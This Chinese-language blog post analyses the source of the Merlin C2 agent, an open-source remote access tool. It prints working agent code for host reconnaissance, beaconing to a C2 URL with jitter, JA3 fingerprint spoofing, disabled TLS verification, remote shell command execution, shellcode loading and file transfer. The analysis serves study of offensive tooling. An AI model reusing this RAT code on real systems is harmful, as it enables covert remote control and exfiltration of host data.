0x01 前言
Merlin is a post-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol. This tool was the result of my work evaluating HTTP/2 in a paper titled Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2.
Merlin 是一款以Go语言开发的 RAT 软件，由于Go自身优异的跨平台特性也使得 Merlin 天然的就具备了跨平台的优势，出于对 Go 语言学习的想法以及对 Merlin 实现机制的好奇，在这里简单的分析一下 Merlin 的代码实现，出于篇幅以及思路的考虑，本文以对 Merlin Agent 的分析为主，下篇文章分析 Merlin Server 的实现。
0x02 代码分析
talk is cheap, show me the code
0x1 依赖
go 1.16
require (
github.com/CUCyber/ja3transport v0.0.0-20201031204932-8a22ac8ab5d7 // indirect
github.com/Ne0nd0g/go-clr v1.0.1
github.com/Ne0nd0g/ja3transport v0.0.0-20200203013218-e81e31892d84
github.com/Ne0nd0g/merlin v1.1.0
github.com/cretz/gopaque v0.1.0
github.com/fatih/color v1.10.0
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
github.com/lucas-clemente/quic-go v0.24.0
github.com/satori/go.uuid v1.2.0
golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b
golang.org/x/net v0.0.0-20211209124913-491a49abca63
golang.org/x/sys v0.0.0-20211015200801-69063c4bb744
gopkg.in/square/go-jose.v2 v2.3.1
)
从mod文件中可知 merlin agent 是基于 go 1.16 版本进行编写的，剩下的就是 agent 所依赖的一些库了，排除标准库以及自身的一些库，简单看一下引入的这些库的大致功能
- github.com/CUCyber/ja3transport 用于修改JA3指纹信息
- github.com/cretz/gopaque 用于在Server端注册和认证Agent
- github.com/fatih/color Debug输出
- github.com/google/shlex Shell语法解析器
- github.com/lucas-clemente/quic-go quic协议支持
- github.com/satori/go.uuid UUID的创建
0x2 主要逻辑
// usage prints command line options
func usage()
// getArgsFromStdIn reads from STDIN an
func getArgsFromStdIn(input chan string)
func main()
主要由以上三个方法构成，其中 main 方法是分析的重点，main中主要完成了三项工作：
- 获取运行参数
- 获取主机信息并构建struct
- 运行主逻辑
下面从这三个方面来看 main 的代码逻辑
if len(os.Args) <= 1 {
input := make(chan string, 1)
var stdin string
go getArgsFromStdIn(input) // 启动协程从STDIN中读取数据
select {
case i := <-input:
stdin = i
case <-time.After(500 * time.Millisecond):
close(input)
err := os.Stdin.Close()
if err != nil && *verbose {
color.Red(fmt.Sprintf("there was an error closing STDIN: %s", err))
}
break
}
args, err := shlex.Split(stdin)
if err == nil && len(args) > 0 {
os.Args = append(os.Args, args...)
}
}
使用 flag 库对参数进行解析，这里作者增加了在启动时没有附加参数而是直接从STDIN中获取参数的处理，且只等待500ms，如果在500ms内没有读取到数据的话就直接超时，开始以默认参数执行。从这段代码中可以抽象出 go 的 channel 超时的处理方式
package main
import (
"fmt"
"math/rand"
"time"
)
func main(){
rand.Seed(time.Now().UnixNano())
input := make(chan string, 1)
go func() {
t := rand.Intn(5)
time.Sleep(time.Duration(t)*time.Second)
input<-"sleep......."
}()
select{
case i:= <-input:
fmt.Println(i)
case <-time.After(3*time.Second):
fmt.Println("timeout!")
}
}
agent.Config 主要获取了四个参数。之后的a, err:=agent.New(agentConfig) 也是用来填充参数的，这里为什么要单独将这四个参数抽离出来形成一个结构体呢？
agentConfig := agent.Config{
Sleep: sleep,
Skew: skew,
KillDate: killdate,
MaxRetry: maxretry,
}
在跟进 agent.New方法进行对比之后就不难发现，agent.Config中的参数是 Merlin agent 自身运行时所需的运行信息，agent.New 中主要获取及填充的是Host相关信息。根据信息归属的不同，将agent自身运行时信息组织为了一个单独的struct。
将 agent.New 进行简化（折叠错误处理部分）可得到如下代码，初始化完成了 Agent 结构体中Host部分。
func New(config Config) (*Agent, error) {
cli.Message(cli.DEBUG, "Entering agent.New() function")
agent := Agent{
ID: uuid.NewV4(), // 标示当前agent
Platform: runtime.GOOS, // 系统类型
Architecture: runtime.GOARCH, // 架构
Pid: os.Getpid(), // 进程pid
Version: core.Version, // 系统详细版本
Initial: false,
}
rand.Seed(time.Now().UnixNano())
u, errU := user.Current() // 获取当前用户信息
agent.UserName = u.Username // 用户名
agent.UserGUID = u.Gid // GUID信息
h, errH := os.Hostname() // Host信息
agent.HostName = h
proc, errP := os.Executable() // 当前执行路径信息
agent.Process = proc
interfaces, errI := net.Interfaces() // 网卡信息
for _, iface := range interfaces { // 遍历获取到的网卡，保存IP地址信息
addrs, err := iface.Addrs()
for _, addr := range addrs {
agent.Ips = append(agent.Ips, addr.String())
}
}
// Parse config
var err error
// Parse KillDate
if config.KillDate != "" { // 终止日期
agent.KillDate, err = strconv.ParseInt(config.KillDate, 10, 64)
} else {
agent.KillDate = 0
}
// Parse MaxRetry
if config.MaxRetry != "" { // 当连接不到Server时尝试次数
agent.MaxRetry, err = strconv.Atoi(config.MaxRetry)
} else {
agent.MaxRetry = 7
}
// Parse Sleep
if config.Sleep != "" { // 回连Server前休眠时间
agent.WaitTime, err = time.ParseDuration(config.Sleep)
} else {
agent.WaitTime = 30000 * time.Millisecond
}
// Parse Skew
if config.Skew != "" { // 在每次Sleep后增加间隔时间
agent.Skew, err = strconv.ParseInt(config.Skew, 10, 64)
} else {
agent.Skew = 3000
}
...
return &agent, nil
}
在获取完毕主机相关的信息后，agent 就开始初始化用于网络通信相关的struct了，http.New 为该部分的实现代码，同样折叠错误处理相关代码后如下：
func New(config Config) (*Client, error) {
client := Client{ // 填充不需要特殊处理的参数
AgentID: config.AgentID,
URL: config.URL,
UserAgent: config.UserAgent,
Host: config.Host,
Protocol: config.Protocol,
Proxy: config.Proxy,
JA3: config.JA3,
psk: config.PSK,
}
// Set secret for JWT and JWE encryption key from PSK
k := sha256.Sum256([]byte(client.psk)) // 根据PSK生成用于JWT加密的key
client.secret = k[:]
//Convert Padding from string to an integer
if config.Padding != "" {
client.PaddingMax, err = strconv.Atoi(config.Padding)
} else {
client.PaddingMax = 0
}
// Parse additional HTTP Headers
if config.Headers != "" { // 设置用户自定义的Header信息
client.Headers = make(map[string]string)
for _, header := range strings.Split(config.Headers, "\\n") {
h := strings.Split(header, ":")
// Remove leading or trailing spaces
headerKey := strings.TrimSuffix(strings.TrimPrefix(h[0], " "), " ")
headerValue := strings.TrimSuffix(strings.TrimPrefix(h[1], " "), " ")
client.Headers[headerKey] = headerValue
}
}
// Get the HTTP client
client.Client, err = getClient(client.Protocol, client.Proxy, client.JA3) // 初始化用于实际与Server连接的结构 HTTP client
return &client, nil
}
http.New 其实更像是一个wrapper方法，在进行struct的填充之后，获取HTTP client的操作实际上是由 http.getClient 完成的。
func getClient(protocol string, proxyURL string, ja3 string) (*http.Client, error) {
// G402: TLS InsecureSkipVerify set true. (Confidence: HIGH, Severity: HIGH) Allowed for testing
// Setup TLS configuration
// TLS设置，skip 证书检查
TLSConfig := &tls.Config{
MinVersion: tls.VersionTLS12,
InsecureSkipVerify: true, // #nosec G402 - see https://github.com/Ne0nd0g/merlin/issues/59 TODO fix this
CipherSuites: []uint16{ // 这里专门指定了CipherSuites应该是出于信道安全性考虑
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
},
}
// Proxy
var proxy func(*http.Request) (*url.URL, error)
if proxyURL != "" {
rawURL, errProxy := url.Parse(proxyURL) // 解析proxy链接
proxy = http.ProxyURL(rawURL) // 设置http代理
} else {
// Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables
proxy = http.ProxyFromEnvironment // 如果没有指定代理则走系统代理
}
// JA3
if ja3 != "" { // 如果设置了JA3的话，后续使用ja3transport提供能功能来进行通信，主要用于规避基于JA3算法的TLS指纹识别
JA3, errJA3 := ja3transport.NewWithStringInsecure(ja3)
tr, err := ja3transport.NewTransportInsecure(ja3)
// Set proxy
if proxyURL != "" {
tr.Proxy = proxy
}
JA3.Transport = tr
return JA3.Client, nil
}
var transport http.RoundTripper
switch strings.ToLower(protocol) {//根据传入的不同的protocol参数初始化对应的Transport
case "http3":
TLSConfig.NextProtos = []string{"h3"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
transport = &http3.RoundTripper{
QuicConfig: &quic.Config{
// Opted for a long timeout to prevent the client from sending a PING Frame
// If MaxIdleTimeout is too high, agent will never get an error if the server is off line and will perpetually run without exiting because MaxFailedCheckins is never incremented
//MaxIdleTimeout: time.Until(time.Now().AddDate(0, 42, 0)),
MaxIdleTimeout: time.Second * 30,
// KeepAlive will send a HTTP/2 PING frame to keep the connection alive
// If this isn't used, and the agent's sleep is greater than the MaxIdleTimeout, then the connection will timeout
KeepAlive: true,
// HandshakeIdleTimeout is how long the client will wait to hear back while setting up the initial crypto handshake w/ server
HandshakeIdleTimeout: time.Second * 30,
},
TLSClientConfig: TLSConfig,
}
case "h2":
TLSConfig.NextProtos = []string{"h2"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
transport = &http2.Transport{
TLSClientConfig: TLSConfig,
}
case "h2c":
transport = &http2.Transport{
AllowHTTP: true,
DialTLS: func(network, addr string, cfg *tls.Config) (net.Conn, error) {
return net.Dial(network, addr)
},
}
case "https":
TLSConfig.NextProtos = []string{"http/1.1"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
transport = &http.Transport{
TLSClientConfig: TLSConfig,
MaxIdleConns: 10,
Proxy: proxy,
IdleConnTimeout: 1 * time.Nanosecond,
}
case "http":
transport = &http.Transport{
MaxIdleConns: 10,
Proxy: proxy,
IdleConnTimeout: 1 * time.Nanosecond,
}
default:
return nil, fmt.Errorf("%s is not a valid client protocol", protocol)
}
return &http.Client{Transport: transport}, nil
}
在初始化完成了各项信息之后，就正式来到了Run()方法，go和许多其他面向对象的语言不同，它可以将方法绑定到除了指针类型和接口类型的任何类型上。
func (a *Agent) Run() {
rand.Seed(time.Now().UTC().UnixNano())
for {
// Verify the agent's kill date hasn't been exceeded
if (a.KillDate != 0) && (time.Now().Unix() >= a.KillDate) { // 判断是否到了自毁时间
os.Exit(0)
}
// Check in
if a.Initial { // 心跳包
a.statusCheckIn()
} else {
msg, err := a.Client.Initial(a.getAgentInfoMessage()) // 在Server端上线
if err != nil {
a.FailedCheckin++
} else {
a.messageHandler(msg)
a.Initial = true
a.iCheckIn = time.Now().UTC()
}
}
// Determine if the max number of failed checkins has been reached
if a.FailedCheckin >= a.MaxRetry { // 当尝试上线失败次数到达maxtry时直接退出
os.Exit(0)
}
// Sleep
var sleep time.Duration
if a.Skew > 0 { // 为休眠时间增加随机性
sleep = a.WaitTime + (time.Duration(rand.Int63n(a.Skew)) * time.Millisecond) // #nosec G404 - Does not need to be cryptographically secure, deterministic is OK
} else {
sleep = a.WaitTime
}
time.Sleep(sleep)
}
}
首先来查看 Client 是如何上线的：
通过getAgentInfoMessage()将获取到的信息打包为 messages.AgentInfo 结构体准备传输。
// SysInfo is a JSON payload containing information about the system where the agent is running
type SysInfo struct {
Platform string `json:"platform,omitempty"`
Architecture string `json:"architecture,omitempty"`
UserName string `json:"username,omitempty"`
UserGUID string `json:"userguid,omitempty"`
HostName string `json:"hostname,omitempty"`
Process string `json:"process,omitempty"`
Pid int `json:"pid,omitempty"`
Ips []string `json:"ips,omitempty"`
Domain string `json:"domain,omitempty"`
}
// AgentInfo is a JSON payload containing information about the agent and its configuration
type AgentInfo struct {
Version string `json:"version,omitempty"`
Build string `json:"build,omitempty"`
WaitTime string `json:"waittime,omitempty"`
PaddingMax int `json:"paddingmax,omitempty"`
MaxRetry int `json:"maxretry,omitempty"`
FailedCheckin int `json:"failedcheckin,omitempty"`
Skew int64 `json:"skew,omitempty"`
Proto string `json:"proto,omitempty"`
SysInfo SysInfo `json:"sysinfo,omitempty"`
KillDate int64 `json:"killdate,omitempty"`
JA3 string `json:"ja3,omitempty"`
}
Client.Init 只是一个wrapper 方法
// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial(agent messages.AgentInfo) (messages.Base, error) {
// Authenticate
return client.Auth("opaque", true)
}
// Auth is the top-level function used to authenticate an agent to server using a specific authentication protocol
// register is specific to OPAQUE where the agent must register with the server before it can authenticate
func (client *Client) Auth(auth string, register bool) (messages.Base, error) {
switch strings.ToLower(auth) {
case "opaque": // 目前只支持 opaque 这一种认证方式，但是作者已经为之后的扩展做好了准备
return client.opaqueAuth(register)
default:
return messages.Base{}, fmt.Errorf("unknown authentication type: %s", auth)
}
}
client.opaqueAuth 如果已经通过 client.opaqueRegister 进行在 C2 进行注册过了，那么将通过client.opaqueAuthenticate 进行认证，最终返回认证后的结果。
// opaqueAuth is the top-level function that subsequently runs OPAQUE registration and authentication
func (client *Client) opaqueAuth(register bool) (messages.Base, error) {
cli.Message(cli.DEBUG, "Entering into clients.http.opaqueAuth()...")
// Set, or reset, the secret used for JWT & JWE encryption key from PSK
k := sha256.Sum256([]byte(client.psk))
client.secret = k[:]
// OPAQUE Registration
if register { // If the client has previously registered, then this will not be empty
// Reset the OPAQUE User structure for when the Agent previously successfully authenticated
// but the Agent needs to re-register with a new server
if client.opaque != nil {
if client.opaque.Kex != nil { // Only exists after successful authentication which occurs after registration
client.opaque = nil
}
}
// OPAQUE Registration steps
err := client.opaqueRegister()
if err != nil {
return messages.Base{}, fmt.Errorf("there was an error performing OPAQUE User Registration:\r\n%s", err)
}
}
// OPAQUE Authentication steps
msg, err := client.opaqueAuthenticate()
if err != nil {
return msg, fmt.Errorf("there was an error performing OPAQUE User Authentication:\r\n%s", err)
}
// The OPAQUE derived Diffie-Hellman secret
client.secret = []byte(client.opaque.Kex.SharedSecret.String())
return msg, nil
}
通过 OPAQUE 认证后的结果通过 Agent.messageHandler进行处理，根据 Server 返回的控制数据将 job送入JobHandler中。
对于 message 而言有三种状态
- JOBS 处理 Server 发送回来的控制数据
- IDLE idle，跳过当前loop
- OPAQUE 重新进行认证
// messageHandler processes an input message from the server and adds it to the job channel for processing by the agent
func (a *Agent) messageHandler(m messages.Base) {
if m.ID != a.ID {
cli.Message(cli.WARN, fmt.Sprintf("Input message was not for this agent (%s):\r\n%+v", a.ID, m))
}
var result jobs.Results
switch m.Type {
case messages.JOBS:
a.jobHandler(m.Payload.([]jobs.Job)) // 认证正常情况下处理C2发送过来的jobs
case messages.IDLE:
cli.Message(cli.NOTE, "Received idle command, doing nothing")
case messages.OPAQUE: // 如果认证失败则进行再次认证
if m.Payload.(opaque.Opaque).Type == opaque.ReAuthenticate {
cli.Message(cli.NOTE, "Received re-authentication request")
// Re-authenticate, but do not re-register
msg, err := a.Client.Auth("opaque", false) // 递归进行认证
if err != nil {
a.FailedCheckin++
result.Stderr = err.Error()
jobsOut <- jobs.Job{
AgentID: a.ID,
Type: jobs.RESULT,
Payload: result,
}
}
a.messageHandler(msg)
}
default:
result.Stderr = fmt.Sprintf("%s is not a valid message type", messages.String(m.Type))
jobsOut <- jobs.Job{
AgentID: m.ID,
Type: jobs.RESULT,
Payload: result,
}
}
cli.Message(cli.DEBUG, "Leaving agent.messageHandler function without error")
}
如果已经在 Server 处注册过了，则在每次循环的时候直接走 statusCheckIn 逻辑
// statusCheckIn is the function that agent runs at every sleep/skew interval to check in with the server for jobs
func (a *Agent) statusCheckIn() {
msg := getJobs() // 获取已经执行完毕的 jobs 的结果
msg.ID = a.ID
j, reqErr := a.Client.SendMerlinMessage(msg) // 向 Server 发送结果信息
if reqErr != nil {
a.FailedCheckin++
// Put the jobs back into the queue if there was an error
if msg.Type == messages.JOBS {
a.messageHandler(msg)
}
return
}
a.FailedCheckin = 0
a.sCheckIn = time.Now().UTC() // 更新 last 心跳包时间
// Handle message
a.messageHandler(j) // 处理 Server 的控制信息
}
0x3 Job相关实现
Job处理的主要逻辑抽象如下：
channel channel
jobHandler --------> executeJob -------> getJobs
传入参数 获取结果
在基本澄清骨架逻辑之后，下面把精力放在 agent 对 Job 的处理及结果获取上，首先是 Job 的处理，agent从message中取得Server下发的Job信息后传入 jobHandler 中进行处理。
// jobHandler takes a list of jobs and places them into job channel if they are a valid type
func (a *Agent) jobHandler(Jobs []jobs.Job) {
for _, job := range Jobs {
// If the job belongs to this agent
if job.AgentID == a.ID { // check 下发的任务是否是给自身的
switch job.Type {
case jobs.FILETRANSFER: // 文件传输
jobsIn <- job
case jobs.CONTROL: // 控制信息处理
a.control(job)
case jobs.CMD: // 执行命令
jobsIn <- job
case jobs.MODULE: // 加载模块
jobsIn <- job
case jobs.SHELLCODE: // 加载shellcode
cli.Message(cli.NOTE, "Received Execute shellcode command")
jobsIn <- job
case jobs.NATIVE: // 常见命令处理
jobsIn <- job
default:
var result jobs.Results
result.Stderr = fmt.Sprintf("%s is not a valid job type", messages.String(job.Type))
jobsOut <- jobs.Job{
ID: job.ID,
AgentID: a.ID,
Token: job.Token,
Type: jobs.RESULT,
Payload: result,
}
}
}
}
}
jobHandler 实际上起到一个 dispatcher 的作用，根据 Job 类型的不同，调用不同的处理方法（将信息通过channel进行传输），大部分处理都由 executeJob 进行处理，实现了control 方法来对jobs.CONTROL 进行处理：修改 Agent 结构体内的各类信息。由于Merlin agent实现了大量的功能，受篇幅所限，这里重点关注一下文件上传、下载，命令执行的功能。
shell和单条命令执行底层都是基于 exec.Command 进行执行并获取结果，不同的是shell方式是用 exec.Command 调用 /bin/sh -c 最终执行的命令
if cmd.Command == "shell" {
results.Stdout, results.Stderr = shell(cmd.Args)
} else {
results.Stdout, results.Stderr = executeCommand(cmd.Command, cmd.Args)
}
代码主要位于 commands/download.go 和 commands/upload.go 中，逻辑主体可以抽象为以下步骤：
文件下载：
- os.Stat(filepath.Dir(transfer.FileLocation)) 检测目录的存在性
- downloadFile, downloadFileErr:=base64.StdEncoding.DecodeString(transfer.FileBlob) 解码文件数据
- ioutil.WriteFile(transfer.FileLocation, downloadFile, 0600) 写入文件
文件上传：
- fileData, fileDataErr:=ioutil.ReadFile(transfer.FileLocation) 读取文件
- _, errW:=io.WriteString(fileHash, string(fileData)) 生成hash
- jobs.FileTransfer 填充Job信息
Job获取主要由 jobs/getJobs 来进行处理的，通过循环对 jobsOut 的channel 进行check，获取到数据后封装为 msg struct 进行发送。
// Check the output channel
var returnJobs []jobs.Job
for {
if len(jobsOut) > 0 {
job := <-jobsOut
returnJobs = append(returnJobs, job)
} else {
break
}
}
if len(returnJobs) > 0 {
msg.Type = messages.JOBS
msg.Payload = returnJobs
} else {
// There are 0 jobs results to return, just checkin
msg.Type = messages.CHECKIN
}
return msg
0x4 msg 发送及接收
merlin 的数据发送接收都是通过 SendMerlinMessage 完成的，具体过程可抽象为如下代码：
// SendMerlinMessage takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server
// The function also decodes and decrypts response messages and return a Merlin message structure.
// This is where the client's logic is for communicating with the server.
func (client *Client) SendMerlinMessage(m messages.Base) (messages.Base, error) {
// 获取 JWE，gob编码
req, reqErr := http.NewRequest("POST", client.URL[client.currentURL], jweBytes)
// 设置 Header 信息
resp, err := client.Client.Do(req)
switch resp.StatusCode {
case 200:
break
case 401:
return client.Auth("opaque", true)
default:
return returnMessage, fmt.Errorf("there was an error communicating with the server:\r\n%d", resp.StatusCode)
}
contentType := resp.Header.Get("Content-Type")
// Check to make sure the response contains the application/octet-stream Content-Type header
isOctet := false
for _, v := range strings.Split(contentType, ",") {
if strings.ToLower(v) == "application/octet-stream" {
isOctet = true
}
}
// gob解码，JWT解密 message body 数据
return respMessage, nil
}
0x03 结语
对merlin agent的分析断断续续持续了一周的时间，最开始有分析的想法时没想到能把时间线拉的如此漫长，不过好在最后也算是对agent有了一个基础的了解，将主要的部分也算是雨露均沾了，在agent中其实还有许多有意思的技术点没有分析到，后续有时间的话再来填坑吧，如有分析的不当之处，恳请各位师傅指正。
参考资料
https://www.jianshu.com/p/b6ae3f85c683